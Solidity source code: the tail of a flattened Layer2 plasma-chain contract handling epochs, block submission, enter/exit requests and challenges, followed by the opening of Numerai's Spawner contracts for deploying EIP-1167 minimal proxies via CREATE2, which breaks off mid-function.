event SessionTimeout(bool userActivated);
event Forked(uint newFork, uint epochNumber, uint forkedBlockNumber);
/**
* epochNumber the number of prepared epoch
* startBlockNumber first block number of the epoch.
* endBlockNumber last block number of the epoch. It is 0 for ORE' and NRE'.
* requestStart first request id of the epoch.
* requestEnd last request id of the epoch.
* epochIsEmpty true if epoch doesn't have block.
* isRequest true for ORE and URE.
* userActivated true for URE.
*/
event EpochPrepared(
uint forkNumber,
uint epochNumber,
uint startBlockNumber,
uint endBlockNumber,
uint requestStart,
uint requestEnd,
bool epochIsEmpty,
bool isRequest,
bool userActivated,
bool rebase
);
event EpochFilling(
uint forkNumber,
uint epochNumber
);
event EpochFilled(
uint forkNumber,
uint epochNumber
);
event EpochRebased(
uint forkNumber,
uint epochNumber,
uint startBlockNumber,
uint endBlockNumber,
uint requestStart,
uint requestEnd,
bool epochIsEmpty,
bool isRequest,
bool userActivated
);
event BlockSubmitted(
uint fork,
uint epochNumber,
uint blockNumber,
bool isRequest,
bool userActivated
);
event RequestCreated(
uint requestId,
address requestor,
address to,
uint weiAmount,
bytes32 trieKey,
bytes trieValue,
bool isExit,
bool userActivated
);
event ERUCreated(
uint requestId,
address requestor,
address to,
bytes trieKey,
bytes32 trieValue
);
event BlockFinalized(uint forkNumber, uint blockNumber);
event EpochFinalized(
uint forkNumber,
uint epochNumber,
uint startBlockNumber,
uint endBlockNumber
);
// emit when exit is finalized. _userActivated is true for ERU
event RequestFinalized(uint requestId, bool userActivated);
event RequestApplied(uint requestId, bool userActivated);
event RequestChallenged(uint requestId, bool userActivated);
event RequestableContractMapped(address contractInRootchain, address contractInChildchain);
}
// File: contracts/Layer2Base.sol
pragma solidity ^0.5.12;
/**
* @notice Layer2Base provides functions to be delegated to other handlers,
* EpochHandler, SubmitHandler.
*/
contract Layer2Base is Layer2Storage, Layer2Event {
/**
* Constants
*/
// solium-disable mixedcase
// EpochHandler functions
bytes4 constant PREPARE_TO_SUTMIBT_ORB_SIG = bytes4(keccak256("prepareORE()"));
bytes4 constant PREPARE_TO_SUTMIBT_NRB_SIG = bytes4(keccak256("prepareNRE()"));
bytes4 constant PREPARE_TO_SUTMIBT_URB_SIG = bytes4(keccak256("prepareToSubmitURB()"));
bytes4 constant PREPARE_ORE_AFTER_URE_SIG = bytes4(keccak256("prepareOREAfterURE()"));
bytes4 constant PREPARE_NRE_AFTER_URE_SIG = bytes4(keccak256("prepareNREAfterURE()"));
// SubmitHandler functions
bytes4 constant SUBMIT_NRE_SIG = bytes4(keccak256("submitNRE(uint256,uint256,bytes32,bytes32,bytes32)"));
bytes4 constant SUBMIT_ORB_SIG = bytes4(keccak256("submitORB(uint256,bytes32,bytes32,bytes32)"));
bytes4 constant SUBMIT_URB_SIG = bytes4(keccak256("submitURB(uint256,bytes32,bytes32,bytes32)"));
// solium-endable mixedcase
/**
* Functions
*/
// delegate to epoch handler
function _delegatePrepareORE() internal {
// solium-disable-next-line security/no-low-level-calls, max-len, no-unused-vars
(bool success, bytes memory returnData) = epochHandler.delegatecall(abi.encodeWithSelector(PREPARE_TO_SUTMIBT_ORB_SIG));
require(success);
}
// delegate to epoch handler
function _delegatePrepareNRE() internal {
// solium-disable-next-line security/no-low-level-calls, max-len, no-unused-vars
(bool success, bytes memory returnData) = epochHandler.delegatecall(abi.encodeWithSelector(PREPARE_TO_SUTMIBT_NRB_SIG));
// (bool success, bytes memory returnData) = epochHandler.delegatecall(abi.encodeWithSelector(PREPARE_TO_SUTMIBT_NRB_SIG));
require(success);
}
// delegate to epoch handler
function _delegatePrepareToSubmitURB() internal {
// solium-disable-next-line security/no-low-level-calls, max-len, no-unused-vars
(bool success, bytes memory returnData) = epochHandler.delegatecall(abi.encodeWithSelector(PREPARE_TO_SUTMIBT_URB_SIG));
// (bool success, bytes memory returnData) = epochHandler.delegatecall(abi.encodeWithSelector(PREPARE_TO_SUTMIBT_NRB_SIG));
require(success);
}
// delegate to epoch handler
function _delegatePrepareOREAfterURE() internal {
// solium-disable-next-line security/no-low-level-calls, max-len, no-unused-vars
(bool success, bytes memory returnData) = epochHandler.delegatecall(abi.encodeWithSelector(PREPARE_ORE_AFTER_URE_SIG));
require(success);
}
// delegate to epoch handler
function _delegatePrepareNREAfterURE() internal {
// solium-disable-next-line security/no-low-level-calls, max-len, no-unused-vars
(bool success, bytes memory returnData) = epochHandler.delegatecall(abi.encodeWithSelector(PREPARE_NRE_AFTER_URE_SIG));
require(success);
}
// delegate to submit handler
function _delegateSubmitNRE(
uint _pos1, // forknumber + epochNumber
uint _pos2, // startBlockNumber + endBlockNumber
bytes32 _epochStateRoot,
bytes32 _epochTransactionsRoot,
bytes32 _epochReceiptsRoot
)
internal
returns (bool success)
{
// solium-disable-next-line security/no-low-level-calls, max-len, no-unused-vars
(bool success, bytes memory returnData) = submitHandler.delegatecall(abi.encodeWithSelector(
SUBMIT_NRE_SIG,
_pos1,
_pos2,
_epochStateRoot,
_epochTransactionsRoot,
_epochReceiptsRoot
));
require(success);
return true;
}
// delegate to submit handler
function _delegateSubmitORB(
uint _pos,
bytes32 _statesRoot,
bytes32 _transactionsRoot,
bytes32 _receiptsRoot
)
internal
returns (bool success)
{
// solium-disable-next-line security/no-low-level-calls, max-len, no-unused-vars
(bool success, bytes memory returnData) = submitHandler.delegatecall(abi.encodeWithSelector(
SUBMIT_ORB_SIG,
_pos,
_statesRoot,
_transactionsRoot,
_receiptsRoot
));
require(success);
return true;
}
// delegate to submit handler
function _delegateSubmitURB(
uint _pos,
bytes32 _statesRoot,
bytes32 _transactionsRoot,
bytes32 _receiptsRoot
)
internal
returns (bool success)
{
// solium-disable-next-line security/no-low-level-calls, max-len, no-unused-vars
(bool success, bytes memory returnData) = submitHandler.delegatecall(abi.encodeWithSelector(
SUBMIT_URB_SIG,
_pos,
_statesRoot,
_transactionsRoot,
_receiptsRoot
));
require(success);
return true;
}
}
// File: contracts/Layer2.sol
pragma solidity ^0.5.12;
pragma experimental ABIEncoderV2;
// import "./patricia_tree/PatriciaTreeFace.sol";
contract Layer2 is Layer2Storage, Layer2Event, Layer2Base, MapperRole, SubmitterRole {
using SafeMath for uint;
using SafeMath for uint64;
using Math for *;
using Data for *;
using Address for address;
using BMT for *;
/*
* Modifiers
*/
modifier onlyOperator() {
require(msg.sender == operator);
_;
}
modifier onlyValidCost(uint _expected) {
require(msg.value >= _expected);
_;
}
modifier finalizeBlocks() {
if (!development) {
_finalizeBlock();
}
_;
}
modifier checkURBSubmission () {
Data.Fork storage fork = forks[currentFork];
if (fork.timestamp + Data.URE_TIMEOUT() < block.timestamp) {
// TODO: reset fork
fork.forkedBlock = 0;
}
_;
}
modifier onlyOperatorOrSeigManager () {
require(msg.sender == operator || msg.sender == seigManager);
_;
}
/*
* Constructor
*/
constructor(
address _epochHandler,
address _submitHandler,
address _etherToken,
bool _development,
uint _NRELength,
// genesis block state
bytes32 _statesRoot,
bytes32 _transactionsRoot,
bytes32 _receiptsRoot
)
public
{
require(_epochHandler.isContract());
require(_submitHandler.isContract());
require(_etherToken.isContract());
epochHandler = _epochHandler;
submitHandler = _submitHandler;
etherToken = _etherToken;
development = _development;
operator = msg.sender;
NRELength = _NRELength;
Data.Fork storage fork = forks[currentFork];
Data.PlasmaBlock storage genesis = fork.blocks[0];
genesis.statesRoot = _statesRoot;
genesis.transactionsRoot = _transactionsRoot;
genesis.receiptsRoot = _receiptsRoot;
// set up the genesis epoch
fork.epochs[0].timestamp = uint64(block.timestamp);
fork.epochs[0].initialized = true;
// prepare ORE#2
fork.epochs[2].isEmpty = true;
fork.epochs[2].isRequest = true;
_doFinalizeBlock(fork, genesis, 0);
_doFinalizeNRE(fork, 0);
_delegatePrepareNRE();
}
/*
* External Functions
*/
function changeOperator(address _operator) external onlyOperatorOrSeigManager {
operator = _operator;
emit OperatorChanged(_operator);
}
function addSubmitter(address account) public onlyOperator {
_addSubmitter(account);
}
function addMapper(address account) public onlyOperator {
_addMapper(account);
}
function setSeigManager(address account) public onlyOperatorOrSeigManager {
seigManager = account;
}
/**
* @notice map requestable contract in child chain
* NOTE: only operator?
*/
function mapRequestableContractByOperator(address _layer2, address _childchain)
external
onlyMapper
returns (bool success)
{
require(_layer2.isContract());
require(requestableContracts[_layer2] == address(0));
requestableContracts[_layer2] = _childchain;
emit RequestableContractMapped(_layer2, _childchain);
return true;
}
function getNumEROs() external view returns (uint) {
return EROs.length;
}
function getNumORBs() external view returns (uint) {
return ORBs.length;
}
function getEROBytes(uint _requestId) public view returns (bytes memory out) {
Data.Request storage ERO = EROs[_requestId];
return ERO.toChildChainRequest(requestableContracts[ERO.to])
.toTX(_requestId, false)
.toBytes();
}
/**
* @notice Declare to submit URB.
*/
function prepareToSubmitURB()
public
payable
onlyValidCost(COST_URB_PREPARE)
// finalizeBlocks
{
// TODO: change to continuous rebase scheme.
// disable UAF.
revert();
// return false;
// Layer2Base.prepareToSubmitURB();
}
function submitNRE(
uint _pos1, // forknumber + epochNumber
uint _pos2, // startBlockNumber + endBlockNumber
bytes32 _epochStateRoot,
bytes32 _epochTransactionsRoot,
bytes32 _epochReceiptsRoot
)
external
payable
onlySubmitter
onlyValidCost(COST_NRB)
finalizeBlocks
returns (bool success)
{
return Layer2Base._delegateSubmitNRE(
_pos1,
_pos2,
_epochStateRoot,
_epochTransactionsRoot,
_epochReceiptsRoot
);
}
function submitORB(
uint _pos,
bytes32 _statesRoot,
bytes32 _transactionsRoot,
bytes32 _receiptsRoot
)
external
payable
onlySubmitter
onlyValidCost(COST_NRB)
finalizeBlocks
returns (bool success)
{
return Layer2Base._delegateSubmitORB(
_pos,
_statesRoot,
_transactionsRoot,
_receiptsRoot
);
}
function submitURB(
uint _pos,
bytes32 _statesRoot,
bytes32 _transactionsRoot,
bytes32 _receiptsRoot
)
external
payable
onlyValidCost(COST_URB)
returns (bool success)
{
// TODO: change to continuous rebase scheme.
// disable UAF.
revert();
return false;
// return Layer2Base._delegateSubmitURB(
// _pos,
// _statesRoot,
// _transactionsRoot,
// _receiptsRoot
// );
}
function finalizeBlock() external returns (bool success) {
require(_finalizeBlock());
return true;
}
/**
* @notice Computation verifier contract reverts the block in case of wrong
* computation.
*/
/* function revertBlock(uint _forkNumber, uint _blockNumber) external {
// TODO: make a new fork?
} */
function challengeExit(
uint _forkNumber,
uint _blockNumber,
uint _index,
bytes calldata _receiptData,
bytes calldata _proof
) external {
Data.Fork storage fork = forks[_forkNumber];
Data.PlasmaBlock storage pb = fork.blocks[_blockNumber];
require(pb.isRequest);
require(pb.finalized);
uint requestId;
bool userActivated = pb.userActivated;
if (userActivated) {
requestId = _doChallengeExit(pb, URBs[pb.requestBlockId], ERUs, _index, _receiptData, _proof);
// TODO: dynamic cost for ERU
msg.sender.transfer(COST_ERU);
} else {
requestId = _doChallengeExit(pb, ORBs[pb.requestBlockId], EROs,_index, _receiptData, _proof);
msg.sender.transfer(COST_ERO);
}
emit RequestChallenged(requestId, userActivated);
}
function _doChallengeExit(
Data.PlasmaBlock storage _pb,
Data.RequestBlock storage _rb,
Data.Request[] storage _rs,
uint _index,
bytes memory _receiptData,
bytes memory _proof
)
internal
returns (uint requestId)
{
requestId = _rb.requestStart + _index;
require(requestId <= _rb.requestEnd);
Data.Request storage r = _rs[requestId];
require(_pb.finalizedAt + CP_EXIT > block.timestamp);
require(_pb.finalized);
require(!r.challenged);
require(!r.finalized);
bytes32 leaf = keccak256(_receiptData);
require(_receiptData.toReceiptStatus() == 0);
if (!development) {
require(BMT.checkMembership(leaf, _index, _pb.receiptsRoot, _proof));
}
r.challenged = true;
return requestId;
}
/**
* @notice It challenges on NRBs containing null address transaction.
*/
function challengeNullAddress(
uint _blockNumber,
bytes calldata _key,
bytes calldata _txByte, // RLP encoded transaction
uint _branchMask,
bytes32[] calldata _siblings
) external {
Data.Fork storage fork = forks[currentFork];
Data.PlasmaBlock storage pb = fork.blocks[_blockNumber];
// check if the plasma block is NRB
require(!pb.isRequest);
// check if challenge period does not end yet
require(pb.timestamp + CP_COMPUTATION > block.timestamp);
// PatriciaTreeFace trie;
// if (pb.userActivated) {
// trie = PatriciaTreeFace(URBs[pb.requestBlockId].trie);
// } else {
// trie = PatriciaTreeFace(ORBs[pb.requestBlockId].trie);
// }
// Data.TX memory txData = Data.toTX(_txByte);
// require(txData.isNATX());
// TODO: use patricia verify library
// require(trie.verifyProof(pb.transactionsRoot, _key, _txByte, _branchMask, _siblings));
// TODO: fork? penalize?
}
/*
* Public Functions
*/
function startExit(
address _to,
bytes32 _trieKey,
bytes memory _trieValue
)
public
payable
onlyValidCost(COST_ERO)
returns (bool success)
{
uint requestId;
requestId = _storeRequest(EROs, ORBs, _to, 0, _trieKey, _trieValue, true, false);
emit RequestCreated(requestId, msg.sender, _to, 0, _trieKey, _trieValue, true, false);
return true;
}
function startEnter(
address _to,
bytes32 _trieKey,
bytes memory _trieValue
)
public
payable
returns (bool success)
{
uint requestId;
uint weiAmount = msg.value;
requestId = _storeRequest(EROs, ORBs, _to, weiAmount, _trieKey, _trieValue, false, false);
numEnterForORB += 1;
Data.Fork storage fork = forks[currentFork];
emit RequestApplied(requestId, false);
emit RequestCreated(requestId, msg.sender, _to, weiAmount, _trieKey, _trieValue, false, false);
return true;
}
function makeERU(
address _to,
bytes32 _trieKey,
bytes memory _trieValue
)
public
payable
onlyValidCost(COST_ERU)
returns (bool success)
{
uint requestId;
requestId = _storeRequest(ERUs, URBs, _to, 0, _trieKey, _trieValue, true, true);
emit RequestCreated(requestId, msg.sender, _to, 0, _trieKey, _trieValue, true, true);
return true;
}
/**
* @notice Finalize a request if request block including it
* is finalized.
* TODO: refactor implementation
*/
function finalizeRequest() public returns (bool success) {
uint requestId;
Data.Fork storage fork = forks[lastAppliedForkNumber];
uint epochNumber = lastAppliedEpochNumber;
require(lastAppliedBlockNumber <= fork.lastBlock);
Data.PlasmaBlock storage pb = fork.blocks[lastAppliedBlockNumber];
Data.Epoch storage epoch = fork.epochs[epochNumber];
// TODO: execute after finding next request block
// find next fork
if (fork.forkedBlock != 0 && lastAppliedBlockNumber >= fork.forkedBlock) {
lastAppliedForkNumber += 1;
fork = forks[lastAppliedForkNumber];
epochNumber = fork.firstEpoch;
epoch = fork.epochs[epochNumber];
lastAppliedBlockNumber = fork.firstBlock;
lastAppliedEpochNumber = epochNumber;
pb = fork.blocks[lastAppliedBlockNumber];
}
// find next request block
if (!pb.isRequest) {
if (epochNumber == 0) {
epochNumber = firstNonEmptyRequestEpoch[lastAppliedForkNumber];
} else {
epochNumber = fork.epochs[epochNumber].RE.nextEpoch;
}
require(epochNumber != 0);
epoch = fork.epochs[epochNumber];
lastAppliedBlockNumber = epoch.startBlockNumber;
pb = fork.blocks[lastAppliedBlockNumber];
} else {
epochNumber = pb.epochNumber;
epoch = fork.epochs[epochNumber];
}
lastAppliedEpochNumber = epochNumber;
require(!epoch.isEmpty);
require(epoch.isRequest);
require(pb.isRequest);
require(pb.finalized);
require(pb.finalizedAt + CP_EXIT <= block.timestamp);
// apply ERU
if (pb.userActivated) {
requestId = ERUIdToFinalize;
require(ERUs.length > requestId);
Data.Request storage ERU = ERUs[requestId];
Data.RequestBlock storage URB = URBs[pb.requestBlockId];
require(URB.requestStart <= requestId && requestId <= URB.requestEnd);
// check next block
if (requestId == URB.requestEnd) {
if (fork.forkedBlock > 0 && lastAppliedBlockNumber == fork.forkedBlock - 1) {
lastAppliedForkNumber += 1;
}
lastAppliedBlockNumber += 1;
}
ERUIdToFinalize = requestId + 1;
if (ERU.isExit && !ERU.challenged) {
// NOTE: do not check it reverted or not?
ERU.applyRequestInRootChain(requestId);
// TODO: dynamic cost and bond release period
ERU.requestor.transfer(COST_ERU);
emit RequestApplied(requestId, true);
}
ERU.finalized = true;
emit RequestFinalized(requestId, true);
return true;
}
// apply ERO
requestId = EROIdToFinalize;
require(EROs.length > requestId);
Data.RequestBlock storage ORB = ORBs[pb.requestBlockId];
require(ORB.requestStart <= requestId && requestId <= ORB.requestEnd);
// check next block
if (requestId == ORB.requestEnd) {
// TODO: iterator blocks by NRE length for NRE'
if (fork.forkedBlock > 0 && lastAppliedBlockNumber == fork.forkedBlock - 1) {
lastAppliedForkNumber += 1;
}
lastAppliedBlockNumber += 1;
}
Data.Request storage ERO = EROs[requestId];
EROIdToFinalize = requestId + 1;
ERO.finalized = true;
if (ERO.isExit && !ERO.challenged) {
ERO.applyRequestInRootChain(requestId);
ERO.requestor.transfer(COST_ERO);
emit RequestApplied(requestId, false);
}
emit RequestFinalized(requestId, false);
return true;
}
function finalizeRequests(uint n) external returns (bool success) {
for (uint i = 0; i < n; i++) {
require(finalizeRequest());
}
return true;
}
/**
* @notice return the max number of request
*/
function MAX_REQUESTS() external pure returns (uint maxRequests) {
return Data.MAX_REQUESTS();
}
function lastBlock(uint forkNumber) public view returns (uint lastBlock) {
return forks[forkNumber].lastBlock;
}
function lastEpoch(uint forkNumber) public view returns (uint lastBlock) {
return forks[forkNumber].lastEpoch;
}
function getEpoch(
uint forkNumber,
uint epochNumber
) external view returns (
Data.Epoch memory epoch
) {
return forks[forkNumber].epochs[epochNumber];
}
function getLastEpoch() public view returns (Data.Epoch memory) {
return forks[currentFork].epochs[forks[currentFork].lastEpoch];
}
function getBlock(
uint forkNumber,
uint blockNumber
) public view returns (Data.PlasmaBlock memory) {
return forks[forkNumber].blocks[blockNumber];
}
function getBlockFinalizedAt(
uint forkNumber,
uint blockNumber
) public view returns (uint) {
return forks[forkNumber].blocks[blockNumber].finalizedAt;
}
function getLastFinalizedBlock(uint forkNumber) public view returns (uint) {
return forks[forkNumber].lastFinalizedBlock;
}
function getLastFinalizedEpoch(uint forkNumber) public view returns (uint) {
return forks[forkNumber].lastFinalizedEpoch;
}
/**
* @notice return true if the chain is forked by URB
*/
function forked(uint _forkNumber) public view returns (bool result) {
return _forkNumber != currentFork;
}
/**
* @notice return true if the request is finalized
*/
function getRequestFinalized(uint _requestId, bool _userActivated) public view returns (bool finalized) {
if (_userActivated) {
ERUs[_requestId].finalized;
}
return EROs[_requestId].finalized;
}
/*
* Internal Functions
*/
function _storeRequest(
Data.Request[] storage _requests,
Data.RequestBlock[] storage _rbs,
address _to,
uint _weiAmount,
bytes32 _trieKey,
bytes memory _trieValue,
bool _isExit,
bool _userActivated
)
internal
returns (uint requestId)
{
// trieValue cannot be longer than 1KB.
require(_trieValue.length <= 1024);
bool isTransfer = _to == etherToken;
// check parameters for simple ether transfer and message-call
require(isTransfer && !_isExit || (requestableContracts[_to] != address(0)));
requestId = _requests.length++;
Data.Request storage r = _requests[requestId];
r.requestor = msg.sender;
r.to = _to;
r.timestamp = uint64(block.timestamp);
r.isExit = _isExit;
r.isTransfer = isTransfer;
r.value = uint128(_weiAmount);
r.trieKey = _trieKey;
r.trieValue = _trieValue;
// apply message-call in case of enter request.
if (!_isExit) {
require(r.applyRequestInRootChain(requestId));
}
uint requestBlockId = _rbs.length == 0 ? _rbs.length++ : _rbs.length - 1;
Data.RequestBlock storage rb = _rbs[requestBlockId];
// make a new RequestBlock.
if (rb.submitted || rb.requestEnd - rb.requestStart + 1 == Data.MAX_REQUESTS()) {
rb.submitted = true;
rb = _rbs[_rbs.length++];
rb.requestStart = uint64(requestId);
}
rb.init();
rb.requestEnd = uint64(requestId);
if (!_isExit) {
rb.numEnter += 1;
}
if (isTransfer && !_isExit) {
rb.addRequest(r, r.toChildChainRequest(msg.sender), requestId);
} else {
rb.addRequest(r, r.toChildChainRequest(requestableContracts[_to]), requestId);
}
}
/**
* @notice finalize a block if possible.
*/
function _finalizeBlock() internal returns (bool) {
Data.Fork storage fork = forks[currentFork];
// short circuit if waiting URBs
if (fork.forkedBlock != 0) {
return false;
}
uint blockNumber = Math.max(fork.firstBlock, fork.lastFinalizedBlock + 1);
// short circuit if all blocks are submitted yet
if (blockNumber > fork.lastBlock) {
return false;
}
Data.PlasmaBlock storage pb = fork.blocks[blockNumber];
// short circuit if the block is under challenge
if (pb.challenging) {
return false;
}
// 1. finalize request block
if (pb.isRequest) {
// short circuit if challenge period doesn't end
if (pb.timestamp + CP_COMPUTATION > block.timestamp) {
return false;
}
// finalize block
_doFinalizeBlock(fork, pb, blockNumber);
return true;
}
// 2. finalize non request epoch
uint nextEpochNumber = fork.lastFinalizedEpoch + 1;
while (fork.epochs[nextEpochNumber].isRequest) {
nextEpochNumber += 1;
}
// if the first block of the next request epoch is finalized, finalize all
// blocks of the current non request epoch.
if (_checkFinalizableNRE(fork, nextEpochNumber)) {
_doFinalizeNRE(fork, nextEpochNumber);
return true;
}
return false;
}
/**
* @notice return true if NRE can be finalized.
*/
function _checkFinalizableNRE(Data.Fork storage fork, uint _epochNumber) internal view returns (bool) {
// short circuit if epoch is not submitted yet
if (_epochNumber > fork.lastEpoch) {
return false;
}
Data.Epoch storage epoch = fork.epochs[_epochNumber];
// short circuit if epoch is not initialized
if (!epoch.initialized) {
return false;
}
// short circuit if epoch is not NRE
if (epoch.isRequest) {
return false;
}
// short circuit if epoch is challenged or under challenge
if (epoch.NRE.challenging || epoch.NRE.challenged) {
return false;
}
// return if challenge period end
return epoch.NRE.submittedAt + CP_WITHHOLDING <= block.timestamp;
// return true;
}
/**
* @notice finalize a block
*/
function _doFinalizeBlock(
Data.Fork storage _f,
Data.PlasmaBlock storage _pb,
uint _blockNumber
) internal {
_pb.finalized = true;
_pb.finalizedAt = uint64(block.timestamp);
_f.lastFinalizedBlock = uint64(_blockNumber);
_f.lastFinalizedEpoch = uint64(_pb.epochNumber);
emit BlockFinalized(currentFork, _blockNumber);
}
/**
* @notice finalize all blocks in the non request epoch
*/
function _doFinalizeNRE(
Data.Fork storage _f,
uint _epochNumber
) internal {
Data.Epoch storage epoch = _f.epochs[_epochNumber];
epoch.NRE.finalized = true;
epoch.NRE.finalizedAt = uint64(block.timestamp);
_f.lastFinalizedBlock = uint64(epoch.endBlockNumber);
_f.lastFinalizedEpoch = uint64(_epochNumber);
// a single EpochFinalized event replaces lots of BlockFinalized events.
emit EpochFinalized(currentFork, _epochNumber, epoch.startBlockNumber, epoch.endBlockNumber);
return;
}
}
|
DC1
|
pragma solidity ^0.5.13;
/// @title Spawn
/// @author 0age (@0age) for Numerai Inc
/// @dev Security contact: security@numer.ai
/// @dev Version: 1.2.0
/// @notice This contract provides creation code that is used by Spawner in order
/// to initialize and deploy eip-1167 minimal proxies for a given logic contract.
contract Spawn {
constructor(
address logicContract,
bytes memory initializationCalldata
) public payable {
// delegatecall into the logic contract to perform initialization.
(bool ok, ) = logicContract.delegatecall(initializationCalldata);
if (!ok) {
// pass along failure message from delegatecall and revert.
assembly {
returndatacopy(0, 0, returndatasize)
revert(0, returndatasize)
}
}
// place eip-1167 runtime code in memory.
bytes memory runtimeCode = abi.encodePacked(
bytes10(0x363d3d373d3d3d363d73),
logicContract,
bytes15(0x5af43d82803e903d91602b57fd5bf3)
);
// return eip-1167 code to write it to spawned contract runtime.
assembly {
return(add(0x20, runtimeCode), 45) // eip-1167 runtime code, length
}
}
}
/// @title Spawner
/// @author 0age (@0age) and Stephane Gosselin (@thegostep) for Numerai Inc
/// @dev Security contact: security@numer.ai
/// @dev Version: 1.2.0
/// @notice This contract spawns and initializes eip-1167 minimal proxies that
/// point to existing logic contracts. The logic contracts need to have an
/// initializer function that should only callable when no contract exists at
/// their current address (i.e. it is being `DELEGATECALL`ed from a constructor).
contract Spawner {
/// @notice Internal function for spawning an eip-1167 minimal proxy using `CREATE2`.
/// @param creator address The address of the account creating the proxy.
/// @param logicContract address The address of the logic contract.
/// @param initializationCalldata bytes The calldata that will be supplied to
/// the `DELEGATECALL` from the spawned contract to the logic contract during
/// contract creation.
/// @return The address of the newly-spawned contract.
function _spawn(
address creator,
address logicContract,
bytes memory initializationCalldata
) internal returns (address spawnedContract) {
// get instance code and hash
bytes memory initCode;
bytes32 initCodeHash;
(initCode, initCodeHash) = _getInitCodeAndHash(logicContract, initializationCalldata);
// get valid create2 target
(address target, bytes32 safeSalt) = _getNextNonceTargetWithInitCodeHash(creator, initCodeHash);
// spawn create2 instance and validate
return _executeSpawnCreate2(initCode, safeSalt, target);
}
/// @notice Internal function for spawning an eip-1167 minimal proxy using `CREATE2`.
/// @param creator address The address of the account creating the proxy.
/// @param logicContract address The address of the logic contract.
/// @param initializationCalldata bytes The calldata that will be supplied to
/// the `DELEGATECALL` from the spawned contract to the logic contract during
/// contract creation.
/// @param salt bytes32 A user defined salt.
/// @return The address of the newly-spawned contract.
function _spawnSalty(
address creator,
address logicContract,
bytes memory initializationCalldata,
bytes32 salt
) internal returns (address spawnedContract) {
// get instance code and hash
bytes memory initCode;
bytes32 initCodeHash;
(initCode, initCodeHash) = _getInitCodeAndHash(logicContract, initializationCalldata);
// get valid create2 target
(address target, bytes32 safeSalt, bool validity) = _getSaltyTargetWithInitCodeHash(creator, initCodeHash, salt);
require(validity, "contract already deployed with supplied salt");
// spawn create2 instance and validate
return _executeSpawnCreate2(initCode, safeSalt, target);
}
/// @notice Private function for spawning an eip-1167 minimal proxy using `CREATE2`.
/// Reverts with appropriate error string if deployment is unsuccessful.
/// @param initCode bytes The spawner code and initialization calldata.
/// @param safeSalt bytes32 A valid salt hashed with creator address.
/// @param target address The expected address of the proxy.
/// @return The address of the newly-spawned contract.
function _executeSpawnCreate2(bytes memory initCode, bytes32 safeSalt, address target) private returns (address spawnedContract) {
assembly {
let encoded_data := add(0x20, initCode) // load initialization code.
let encoded_size := mload(initCode) // load the init code's length.
spawnedContract := create2( // call `CREATE2` w/ 4 arguments.
callvalue, // forward any supplied endowment.
encoded_data, // pass in initialization code.
encoded_size, // pass in init code's length.
safeSalt // pass in the salt value.
)
// pass along failure message from failed contract deployment and revert.
if iszero(spawnedContract) {
returndatacopy(0, 0, returndatasize)
revert(0, returndatasize)
}
}
// validate spawned instance matches target
require(spawnedContract == target, "attempted deployment to unexpected address");
// explicit return
return spawnedContract;
}
/// @notice Internal view function for finding the expected address of the standard
/// eip-1167 minimal proxy created using `CREATE2` with a given logic contract,
/// salt, and initialization calldata payload.
/// @param creator address The address of the account creating the proxy.
/// @param logicContract address The address of the logic contract.
/// @param initializationCalldata bytes The calldata that will be supplied to
/// the `DELEGATECALL` from the spawned contract to the logic contract during
/// contract creation.
/// @param salt bytes32 A user defined salt.
/// @return target address The address of the newly-spawned contract.
/// @return validity bool True if the `target` is available.
function _getSaltyTarget(
address creator,
address logicContract,
bytes memory initializationCalldata,
bytes32 salt
) internal view returns (address target, bool validity) {
// get initialization code
bytes32 initCodeHash;
( , initCodeHash) = _getInitCodeAndHash(logicContract, initializationCalldata);
// get valid target
(target, , validity) = _getSaltyTargetWithInitCodeHash(creator, initCodeHash, salt);
// explicit return
return (target, validity);
}
/// @notice Internal view function for finding the expected address of the standard
/// eip-1167 minimal proxy created using `CREATE2` with a given initCodeHash, and salt.
/// @param creator address The address of the account creating the proxy.
/// @param initCodeHash bytes32 The hash of initCode.
/// @param salt bytes32 A user defined salt.
/// @return target address The address of the newly-spawned contract.
/// @return safeSalt bytes32 A safe salt. Must include the msg.sender address for front-running protection.
/// @return validity bool True if the `target` is available.
function _getSaltyTargetWithInitCodeHash(
address creator,
bytes32 initCodeHash,
bytes32 salt
) private view returns (address target, bytes32 safeSalt, bool validity) {
// get safeSalt from input
safeSalt = keccak256(abi.encodePacked(creator, salt));
// get expected target
target = _computeTargetWithCodeHash(initCodeHash, safeSalt);
// get target validity
validity = _getTargetValidity(target);
// explicit return
return (target, safeSalt, validity);
}
/// @notice Internal view function for finding the expected address of the standard
/// eip-1167 minimal proxy created using `CREATE2` with a given logic contract,
/// nonce, and initialization calldata payload.
/// @param creator address The address of the account creating the proxy.
/// @param logicContract address The address of the logic contract.
/// @param initializationCalldata bytes The calldata that will be supplied to
/// the `DELEGATECALL` from the spawned contract to the logic contract during
/// contract creation.
/// @return target address The address of the newly-spawned contract.
function _getNextNonceTarget(
address creator,
address logicContract,
bytes memory initializationCalldata
) internal view returns (address target) {
// get initialization code
bytes32 initCodeHash;
( , initCodeHash) = _getInitCodeAndHash(logicContract, initializationCalldata);
// get valid target
(target, ) = _getNextNonceTargetWithInitCodeHash(creator, initCodeHash);
// explicit return
return target;
}
/// @notice Internal view function for finding the expected address of the standard
/// eip-1167 minimal proxy created using `CREATE2` with a given initCodeHash, and nonce.
/// @param creator address The address of the account creating the proxy.
/// @param initCodeHash bytes32 The hash of initCode.
/// @return target address The address of the newly-spawned contract.
/// @return safeSalt bytes32 A safe salt. Must include the msg.sender address for front-running protection.
function _getNextNonceTargetWithInitCodeHash(
address creator,
bytes32 initCodeHash
) private view returns (address target, bytes32 safeSalt) {
// set the initial nonce to be provided when constructing the salt.
uint256 nonce = 0;
while (true) {
// get safeSalt from nonce
safeSalt = keccak256(abi.encodePacked(creator, nonce));
// get expected target
target = _computeTargetWithCodeHash(initCodeHash, safeSalt);
// validate no contract already deployed to the target address.
// exit the loop if no contract is deployed to the target address.
// otherwise, increment the nonce and derive a new salt.
if (_getTargetValidity(target))
break;
else
nonce++;
}
// explicit return
return (target, safeSalt);
}
/// @notice Private pure function for obtaining the initCode and the initCodeHash of `logicContract` and `initializationCalldata`.
/// @param logicContract address The address of the logic contract.
/// @param initializationCalldata bytes The calldata that will be supplied to
/// the `DELEGATECALL` from the spawned contract to the logic contract during
/// contract creation.
/// @return initCode bytes The spawner code and initialization calldata.
/// @return initCodeHash bytes32 The hash of initCode.
function _getInitCodeAndHash(
address logicContract,
bytes memory initializationCalldata
) private pure returns (bytes memory initCode, bytes32 initCodeHash) {
// place creation code and constructor args of contract to spawn in memory.
initCode = abi.encodePacked(
type(Spawn).creationCode,
abi.encode(logicContract, initializationCalldata)
);
// get the keccak256 hash of the init code for address derivation.
